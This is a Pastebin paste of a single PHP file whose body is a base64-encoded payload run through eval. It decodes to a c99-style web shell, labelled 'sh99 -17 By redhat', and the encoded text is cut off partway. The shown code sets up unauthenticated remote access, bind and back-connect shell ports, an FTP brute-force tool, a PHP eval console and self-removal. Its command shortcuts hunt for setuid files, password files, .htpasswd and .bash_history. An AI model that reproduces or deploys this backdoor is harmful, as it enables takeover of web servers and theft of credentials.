Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?
- eval(base64_decode('aWYgKCFmdW5jdGlvbl9leGlzdHMoImdldG1pY3JvdGltZSIpKSB7ZnVuY3Rpb24gZ2V0bWljcm90aW1lKCkge2xpc3QoJHVzZWMsICRzZWMpID0gZXhwbG9kZSgiICIsIG1pY3JvdGltZSgpKTsgcmV0dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7fX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZpbGVfZ2V0X2NvbnRlbnRzIikpIHsgZnVuY3Rpb24gZmlsZV9nZXRfY29udGVudHMoJGZpbGVuYW1lKXsgJGhhbmRsZSA9IGZvcGVuKCRmaWxlbmFtZSwgInIiKTsgJHJldHZhbCA9IGZyZWFkKCRoYW5kbGUsIGZpbGVzaXplKCRmaWxlbmFtZSkpOyBmY2xvc2UoJGhhbmRsZSk7cmV0dXJuICRyZXR2YWw7fX0KZXJyb3JfcmVwb3J0aW5nKDUpOwpAaWdub3JlX3VzZXJfYWJvcnQoVFJVRSk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CiR3aW4gPSBzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsMCwzKSkgPT0gIndpbiI7CmRlZmluZSgic3RhcnR0aW1lIixnZXRtaWNyb3RpbWUoKSk7CmlmIChnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7aWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cmlwcyIpKSB7ZnVuY3Rpb24gc3RyaXBzKCYkYXJyLCRrPSIiKSB7aWYgKGlzX2FycmF5KCRhcnIpKSB7Zm9yZWFjaCgkYXJyIGFzICRrPT4kdikge2lmIChzdHJ0b3VwcGVyKCRrKSAhPSAiR0xPQkFMUyIpIHtzdHJpcHMoJGFyclsiJGsiXSk7fX19IGVsc2UgeyRhcnIgPSBzdHJpcHNsYXNoZXMoJGFycik7fX19IHN0cmlwcygkR0xPQkFMUyk7fQokX1JFUVVFU1QgPSBhcnJheV9tZXJnZSgkX0NPT0tJRSwkX0dFVCwkX1BPU1QpOwpmb3JlYWNoKCRfUkVRVUVTVCBhcyAkaz0+JHYpIHtpZiAoIWlzc2V0KCQkaykpIHskJGsgPSAkdjt9fQokc2h2ZXIgPSAic2g5OSAtMTcgQnkgcmVkaGF0IjsKaWYgKCFlbXB0eSgkdW5zZXRfc3VybCkpIHtzZXRjb29raWUoImM5OXNoX3N1cmwiKTsgJHN1cmwgPSAiIjt9CmVsc2VpZiAoIWVtcHR5KCRzZXRfc3VybCkpIHskc3VybCA9ICRzZXRfc3VybDsgc2V0Y29va2llKCJjOTlzaF9zdXJsIiwkc3VybCk7fQplbHNlIHskc3VybCA9ICRfUkVRVUVTVFsiYzk5c2hfc3VybCJdOwp9CiRzdXJsX2F1dG9maWxsX2luY2x1ZGUgPSBUUlVFOwppZiAoJHN1cmxfYXV0b2ZpbGxfaW5jbHVkZSBhbmQgISRfUkVRVUVTVFsiYzk5c2hfc3VybCJdKSB7JGluY2x1ZGUgPSAiJiI7IGZvcmVhY2ggKGV4cGxvZGUoIiYiLGdldGVudigiUVVFUllfU1RSSU5HIikpIGFzICR2KSB7JHYgPSBleHBsb2RlKCI9Iiwkdik7ICRuYW1lID0gdXJsZGVjb2RlKCR2WzBdKTsgJHZhbHVlID0gdXJsZGVjb2RlKCR2WzFdKTsgZm9yZWFjaCAoYXJyYXkoImh0dHA6Ly8iLCJodHRwczovLyIsInNzbDovLyIsImZ0cDovLyIsIlxcXFwiKSBhcyAkbmVlZGxlKSB7aWYgKHN0cnBvcygkdmFsdWUsJG5lZWRsZSkgPT09IDApIHskaW5jbHVkZXN0ciAuPSB1cmxlbmNvZGUoJG5hbWUpLiI9Ii51cmxlbmNvZGUoJHZhbHVlKS4iJiI7fX19IGlmICgkX1JFUVVFU1RbInN1cmxfYXV0b2ZpbGxfaW5jbHVkZSJdKSB7JGluY2x1ZGVzdHIgLj0gInN1cmxfYXV0b2ZpbGxfaW5jbHVkZT0xJiI7fX0KaWYgKGVtcHR5KCRzdXJsKSkKewogJHN1cmwgPSAiPyIuJGluY2x1ZGVzdHI7Cn0KJHN1cmwgPSBodG1sc3BlY2lhbGNoYXJzKCRzdXJsKTsKJHRpbWVsaW1pdCA9IDA7CiRsb2dpbiA9ICIiOwokcGFzcyA9ICIiOwokbWQ1X3Bhc3MgPSAiIjsKJGhvc3RfYWxsb3cgPSBhcnJheSgiKiIpOwokbG9naW5fdHh0ID0gIlJlc3RyaWN0ZWQgYXJlYSI7CiRhY2Nlc3NkZW5pZWRtZXNzID0gInJlZGhhdCAgdi4iLiRzaHZlci4iPC9hPjogYWNjZXNzIGRlbmllZCI7CiRnemlwZW5jb2RlID0gVFJVRTsKJGZpbGVzdGVhbHRoID0gVFJVRTsKJGRvbmF0ZWRfaHRtbCA9ICI8Y2VudGVyPjxiPmRvbmF0ZWRfaHRtbDwvYj48L2NlbnRlcj4iOwokZG9uYXRlZF9hY3QgPSBhcnJheSgiIik7CiRjdXJkaXIgPSAiLi8iOwokdG1wZGlyID0gIiI7IAokdG1wZGlyX2xvZyA9ICIuLyI7CiRsb2dfZW1haWwgPSAicmVkaGF0QHcuY24iOwokc29ydF9kZWZhdWx0ID0gIjBhIjsKJHNvcnRfc2F2ZSA9IFRSVUU7CiRmdHlwZXMgID0gYXJyYXkoCiAiaHRtbCI9PmFycmF5KCJodG1sIiwiaHRtIiwic2h0bWwiKSwKICJ0eHQiPT5hcnJheSgidHh0IiwiY29uZiIsImJhdCIsInNoIiwianMiLCJiYWsiLCJkb2MiLCJsb2ciLCJzZmMiLCJjZmciLCJodGFjY2VzcyIpLAogImV4ZSI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwKICJpbmkiPT5hcnJheSgiaW5pIiwiaW5mIiksCiAiY29kZSI9PmFycmF5KCJwaHAiLCJwaHRtbCIsInBocDMiLCJwaHA0IiwiaW5jIiwidGNsIiwiaCIsImMiLCJjcHAiLCJweSIsImNnaSIsInBsIiksCiAiaW1nIj0+YXJyYXkoImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBnIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwidGlmZiIsImF2aSIsIm1wZyIsIm1wZWciKSwKICJzZGIiPT5hcnJheSgic2RiIiksCiAicGhwc2VzcyI9PmFycmF5KCJzZXNzIiksCiAiZG93bmxvYWQiPT5hcnJheSgiZXhlIiwiY29tIiwicGlmIiwic3JjIiwibG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0YXIiKQopOwokZXhlZnR5cGVzICA9IGFycmF5KAogZ2V0ZW52KCJQSFBSQyIpLiIgLXEgJWYlIiA9PiBhcnJheSgicGhwIiwicGhwMyIsInBocDQiKSwKICJwZXJsICVmJSIgPT4gYXJyYXkoInBsIiwiY2dpIikKKTsKJHJlZ3hwX2hpZ2hsaWdodCAgPSBhcnJheSgKICBhcnJheShiYXNlbmFtZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSksMSwiPGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4iLCI8L2ZvbnQ+IiksCiAgYXJyYXkoImNvbmZpZy5waHAiLDEpCik7CiRzYWZlbW9kZV9kaXNrZXR0ZXMgPSBhcnJheSgiYSIpOwokaGV4ZHVtcF9saW5lcyA9IDg7CiRoZXhkdW1wX3Jvd3MgPSAyNDsKJG5peHB3ZHBlcnBhZ2UgPSAxMDA7CiRiaW5kcG9ydF9wYXNzID0gImM5OSI7CiRiaW5kcG9ydF9wb3J0ID0gIjMxMzczIjsKJGJjX3BvcnQgPSAiMzEzNzMiOwokZGF0YXBpcGVfbG9jYWxwb3J0ID0gIjgwODEiOwppZiAoISR3aW4pCnsKICRjbWRhbGlhc2VzID0gYXJyYXkoCiAgYXJyYXkoIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiwgImxzIC1sYSIpLAogIGFycmF5KCJmaW5kIGFsbCBzdWlkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiKSwKICBhcnJheSgiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiKSwKICBhcnJheSgiZmluZCBhbGwgc2dpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiksCiAgYXJyYXkoImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiksCiAgYXJyYXkoImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiKSwKICBhcnJheSgiZmluZCBjb25maWcqIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiksCiAgYXJyYXkoImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLAogIGFycmF5KCJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIsICJmaW5kIC8gLXBlcm0gLTIgLWxzIiksCiAgYXJyYXkoImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtcGVybSAtMiAtbHMiKSwKICBhcnJheSgiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiKSwKICBhcnJheSgiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIpLAogIGFycmF5KCJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksCiAgYXJyYXkoImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIpLAogIGFycmF5KCJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiKSwKICBhcnJheSgiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiKSwKICBhcnJheSgiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIpLAogIGFycmF5KCJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwKICBhcnJheSgibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iLCAibHNhdHRyIC12YSIpLAogIGFycmF5KCJzaG93IG9wZW5lZCBwb3J0cyIsICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIikKICk7Cn0KZWxzZQp7CiAkY21kYWxpYXNlcyA9IGFycmF5KAogIGFycmF5KCItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIsICJkaXIiKSwKICBhcnJheSgic2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4iKQogKTsKfQokc2Vzc19jb29raWUgPSAiYzk5c2h2YXJzIjsKJHVzZWZzYnVmZiA9IFRSVUU7CiRjb3B5X3Vuc2V0ID0gRkFMU0U7CiRxdWlja2xhdW5jaCA9IGFycmF5KAogYXJyYXkoIjxocj48Yj5bSG9tZV08L2I+Iiwkc3VybCksCiBhcnJheSgiPGI+W0JhY2tdPC9iPiIsIiNcIiBvbmNsaWNrPVwiaGlzdG9yeS5iYWNrKDEpIiksCiBhcnJheSgiPGI+W0ZvcndhcmRdPC9iPiIsIiNcIiBvbmNsaWNrPVwiaGlzdG9yeS5nbygxKSIpLAogYXJyYXkoIjxiPltVUERJUl08L2I+Iiwkc3VybC4iYWN0PWxzJmQ9JXVwZCZzb3J0PSVzb3J0IiksCiBhcnJheSgiPGI+W1JlZnJlc2hdPC9iPiIsIiIpLAogYXJyYXkoIjxiPltTZWFyY2hdPC9iPiIsJHN1cmwuImFjdD1zZWFyY2gmZD0lZCIpLAogYXJyYXkoIjxiPltCdWZmZXJdPC9iPiIsJHN1cmwuImFjdD1mc2J1ZmYmZD0lZCIpLAogYXJyYXkoIjxiPltFbmNvZGVyXTwvYj48L2I+Iiwkc3VybC4iYWN0PWVuY29kZXImZD0lZCIpLAogYXJyYXkoIjxiPltUb29sc108L2I+Iiwkc3VybC4iYWN0PXRvb2xzJmQ9JWQiKSwKIGFycmF5KCI8Yj5bUHJvYy5dPC9iPiIsJHN1cmwuImFjdD1wcm9jZXNzZXMmZD0lZCIpLAogYXJyYXkoIjxiPltGVFAgYnJ1dGVdPC9iPiIsJHN1cmwuImFjdD1mdHBxdWlja2JydXRlJmQ9JWQiKSwKIGFycmF5KCI8Yj5bU2VjLl08L2I+Iiwkc3VybC4iYWN0PXNlY3VyaXR5JmQ9JWQiKSwKIGFycmF5KCI8Yj5bU1FMXTwvYj4iLCRzdXJsLiJhY3Q9c3FsJmQ9JWQiKSwKIGFycmF5KCI8Yj5bUEhQLWNvZGVdPC9iPiIsJHN1cmwuImFjdD1ldmFsJmQ9JWQiKSwKIGFycmF5KCI8Yj5bU2VsZiByZW1vdmVdPC9iPiIsJHN1cmwuImFjdD1zZWxmcmVtb3ZlIiksCiBhcnJheSgiPGI+W0xvZ291dF08L2I+IiwiI1wiIG9uY2xpY2s9XCJpZiAoY29uZmlybSgnQXJlIHlvdSBzdXJlPycpKSB3aW5kb3cuY2xvc2UoKSIpCik7CiRoaWdobGlnaHRfYmFja2dyb3VuZCA9ICIjYzBjMGMwIjsKJGhpZ2hsaWdodF9iZyA9ICIjRkZGRkZGIjsKJGhpZ2hsaWdodF9jb21tZW50ID0gIiM2QTZBNkEiOwokaGlnaGxpZ2h0X2RlZmF1bHQgPSAiIzAwMDBCQiI7CiRoaWdobGlnaHRfaHRtbCA9ICIjMTMwMEZGIjsKJGhpZ2hsaWdodF9rZXl3b3JkID0gIiMwMDc3MDAiOwokaGlnaGxpZ2h0X3N0cmluZyA9ICIjMDAwMDAwIjsKQCRmID0gJF9SRVFVRVNUWyJmIl07CkBleHRyYWN0KCRfUkVRVUVTVFsiYzk5c2hjb29rIl0pOwpAc2V0X3RpbWVfbGltaXQoMCk7CiR0bXAgPSBhcnJheSgpOwpmb3JlYWNoKCRob3N0X2FsbG93IGFzICRrPT4kdikgeyR0bXBbXSA9IHN0cl9yZXBsYWNlKCJcXCoiLCIuKiIscHJlZ19xdW90ZSgkdikpO30KJHMgPSAiIV4oIi5pbXBsb2RlKCJ8IiwkdG1wKS4iKSQhaSI7CmlmICghcHJlZ19tYXRjaCgkcyxnZXRlbnYoIlJFTU9URV9BRERSIikpIGFuZCAhcHJlZ19tYXRjaCgkcyxnZXRob3N0YnlhZGRyKGdldGVudigiUkVNT1RFX0FERFIiKSkpKSB7ZXhpdCgiOiBBY2Nlc3MgRGVuaWVkIC0geW91ciBob3N0ICgiLmdldGVudigiUkVNT1RFX0FERFIiKS4iKSBub3QgYWxsb3ciKTt9CmlmICghZW1wdHkoJGxvZ2luKSkKewogaWYgKGVtcHR5KCRtZDVfcGFzcykpIHskbWQ1X3Bhc3MgPSBtZDUoJHBhc3MpO30KIGlmICgoJF9TRVJWRVJbIlBIUF9BVVRIX1VTRVIiXSAhPSAkbG9naW4pIG9yIChtZDUoJF9TRVJWRVJbIlBIUF9BVVRIX1BXIl0pICE9ICRtZDVfcGFzcykpCiB7CiAgaWYgKGVtcHR5KCRsb2dpbl90eHQpKSB7JGxvZ2luX3R4dCA9IHN0cmlwX3RhZ3MoZXJlZ19yZXBsYWNlKCImbmJzcDt8PGJyPiIsIiAiLCRkb25hdGVkX2h0bWwpKTt9CiAgaGVhZGVyKCJXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT1cInJlZGhhdCAiLiRzaHZlci4iOiAiLiRsb2dpbl90eHQuIlwiIik7CiAgaGVhZGVyKCJIVFRQLzEuMCA0MDEgVW5hdXRob3JpemVkIik7CiAgZXhpdCgkYWNjZXNzZGVuaWVkbWVzcyk7CiB9Cn0KaWYgKCRhY3QgIT0gImltZyIpewokbGFzdGRpciA9IHJlYWxwYXRoKCIuIik7CmNoZGlyKCRjdXJkaXIpOwppZiAoJHNlbGZ3cml0ZSBvciAkdXBkYXRlbm93KSB7QG9iX2NsZWFuKCk7IGM5OXNoX2dldHVwZGF0ZSgkc2VsZndyaXRlLDEpOyBleGl0O30KJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk7CmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vzc19kYXRhID0gYXJyYXkoKTt9CmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY29weSJdKSkgeyRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5KCk7fQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTt9CgokZGlzYWJsZWZ1bmMgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsKaWYgKCFlbXB0eSgkZGlzYWJsZWZ1bmMpKQp7CiAkZGlzYWJsZWZ1bmMgPSBzdHJfcmVwbGFjZSgiICIsIiIsJGRpc2FibGVmdW5jKTsKICRkaXNhYmxlZnVuYyA9IGV4cGxvZGUoIiwiLCRkaXNhYmxlZnVuYyk7Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OV9idWZmX3ByZXBhcmUiKSkKewpmdW5jdGlvbiBjOTlfYnVmZl9wcmVwYXJlKCkKewogZ2xvYmFsICRzZXNzX2RhdGE7CiBnbG9iYWwgJGFjdDsKIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikgeyRzZXNzX2RhdGFbImNvcHkiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9CiBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgeyRzZXNzX2RhdGFbImN1dCJdWyRrXSA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUixyZWFscGF0aCgkdikpO30KICRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5X3VuaXF1ZSgkc2Vzc19kYXRhWyJjb3B5Il0pOwogJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY3V0Il0pOwogc29ydCgkc2Vzc19kYXRhWyJjb3B5Il0pOwogc29ydCgkc2Vzc19kYXRhWyJjdXQiXSk7CiBpZiAoJGFjdCAhPSAiY29weSIpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7IH19fQogZWxzZSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7aWYgKCRzZXNzX2RhdGFbImN1dCJdWyRrXSA9PSAkdikge3Vuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7fX19Cn0KfQpjOTlfYnVmZl9wcmVwYXJlKCk7CmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlfc2Vzc19wdXQiKSkKewpmdW5jdGlvbiBjOTlfc2Vzc19wdXQoJGRhdGEpCnsKIGdsb2JhbCAkc2Vzc19jb29raWU7CiBnbG9iYWwgJHNlc3NfZGF0YTsKIGM5OV9idWZmX3ByZXBhcmUoKTsKICRzZXNzX2RhdGEgPSAkZGF0YTsKICRkYXRhID0gc2VyaWFsaXplKCRkYXRhKTsKIHNldGNvb2tpZSgkc2Vzc19jb29raWUsJGRhdGEpOwp9Cn0KZm9yZWFjaCAoYXJyYXkoInNvcnQiLCJzcWxfc29ydCIpIGFzICR2KQp7CiBpZiAoIWVtcHR5KCRfR0VUWyR2XSkpIHskJHYgPSAkX0dFVFskdl07fQogaWYgKCFlbXB0eSgkX1BPU1RbJHZdKSkgeyQkdiA9ICRfUE9TVFskdl07fQp9CmlmICgkc29ydF9zYXZlKQp7CiBpZiAoIWVtcHR5KCRzb3J0KSkge3NldGNvb2tpZSgic29ydCIsJHNvcnQpO30KIGlmICghZW1wdHkoJHNxbF9zb3J0KSkge3NldGNvb2tpZSgic3FsX3NvcnQiLCRzcWxfc29ydCk7fQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJzdHIybWluaSIpKQp7CmZ1bmN0aW9uIHN0cjJtaW5pKCRjb250ZW50LCRsZW4pCnsKIGlmIChzdHJsZW4oJGNvbnRlbnQpID4gJGxlbikKIHsKICAkbGVuID0gY2VpbCgkbGVuLzIpIC0gMjsKICByZXR1cm4gc3Vic3RyKCRjb250ZW50LCAwLCRsZW4pLiIuLi4iLnN1YnN0cigkY29udGVudCwtJGxlbik7CiB9CiBlbHNlIHtyZXR1cm4gJGNvbnRlbnQ7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKQp7CmZ1bmN0aW9uIHZpZXdfc2l6ZSgkc2l6ZSkKewogaWYgKCFpc19udW1lcmljKCRzaXplKSkge3JldHVybiBGQUxTRTt9CiBlbHNlCiB7CiAgaWYgKCRzaXplID49IDEwNzM3NDE4MjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwNzM3NDE4MjQqMTAwKS8xMDAgLiIgR0IiO30KICBlbHNlaWYgKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwNDg1NzYqMTAwKS8xMDAgLiIgTUIiO30KICBlbHNlaWYgKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiO30KICBlbHNlIHskc2l6ZSA9ICRzaXplIC4gIiBCIjt9CiAgcmV0dXJuICRzaXplOwogfQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfZGlyIikpCnsKZnVuY3Rpb24gZnNfY29weV9kaXIoJGQsJHQpCnsKICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsKIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICRoID0gb3BlbmRpcigkZCk7CiB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkKIHsKICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkKICB7CiAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9CiAgIGVsc2UgeyRyZXQgPSBta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTsgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9CiAgIGlmICghJHJldCkge3JldHVybiAkcmV0O30KICB9CiB9CiBjbG9zZWRpcigkaCk7CiByZXR1cm4gVFJVRTsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19jb3B5X29iaiIpKQp7CmZ1bmN0aW9uIGZzX2NvcHlfb2JqKCRkLCR0KQp7CiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7CiAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7CiBpZiAoIWlzX2RpcihkaXJuYW1lKCR0KSkpIHtta2RpcihkaXJuYW1lKCR0KSk7fQogaWYgKGlzX2RpcigkZCkpCiB7CiAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICByZXR1cm4gZnNfY29weV9kaXIoJGQsJHQpOwogfQogZWxzZWlmIChpc19maWxlKCRkKSkge3JldHVybiBjb3B5KCRkLCR0KTt9CiBlbHNlIHtyZXR1cm4gRkFMU0U7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX21vdmVfZGlyIikpCnsKZnVuY3Rpb24gZnNfbW92ZV9kaXIoJGQsJHQpCnsKICRoID0gb3BlbmRpcigkZCk7CiBpZiAoIWlzX2RpcigkdCkpIHtta2RpcigkdCk7fQogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpCiB7CiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpCiAgewogICAkcmV0ID0gVFJVRTsKICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30KICAgZWxzZSB7aWYgKG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pIGFuZCBmc19jb3B5X2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IEZBTFNFO319CiAgIGlmICghJHJldCkge3JldHVybiAkcmV0O30KICB9CiB9CiBjbG9zZWRpcigkaCk7CiByZXR1cm4gVFJVRTsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX29iaiIpKQp7CmZ1bmN0aW9uIGZzX21vdmVfb2JqKCRkLCR0KQp7CiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7CiAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7CiBpZiAoaXNfZGlyKCRkKSkKIHsKICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgaWYgKHN1YnN0cigkdCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogIHJldHVybiBmc19tb3ZlX2RpcigkZCwkdCk7CiB9CiBlbHNlaWYgKGlzX2ZpbGUoJGQpKQogewogIGlmKGNvcHkoJGQsJHQpKSB7cmV0dXJuIHVubGluaygkZCk7fQogIGVsc2Uge3VubGluaygkdCk7IHJldHVybiBGQUxTRTt9CiB9CiBlbHNlIHtyZXR1cm4gRkFMU0U7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3JtZGlyIikpCnsKZnVuY3Rpb24gZnNfcm1kaXIoJGQpCnsKICRoID0gb3BlbmRpcigkZCk7CiB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkKIHsKICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkKICB7CiAgIGlmICghaXNfZGlyKCRkLiRvKSkge3VubGluaygkZC4kbyk7fQogICBlbHNlIHtmc19ybWRpcigkZC4kby5ESVJFQ1RPUllfU0VQQVJBVE9SKTsgcm1kaXIoJGQuJG8pO30KICB9CiB9CiBjbG9zZWRpcigkaCk7CiBybWRpcigkZCk7CiByZXR1cm4gIWlzX2RpcigkZCk7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1vYmoiKSkKewpmdW5jdGlvbiBmc19ybW9iaigkbykKewogJG8gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJG8pOwogaWYgKGlzX2RpcigkbykpCiB7CiAgaWYgKHN1YnN0cigkbywtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRvIC49IERJUkVDVE9SWV9TRVBBUkFUT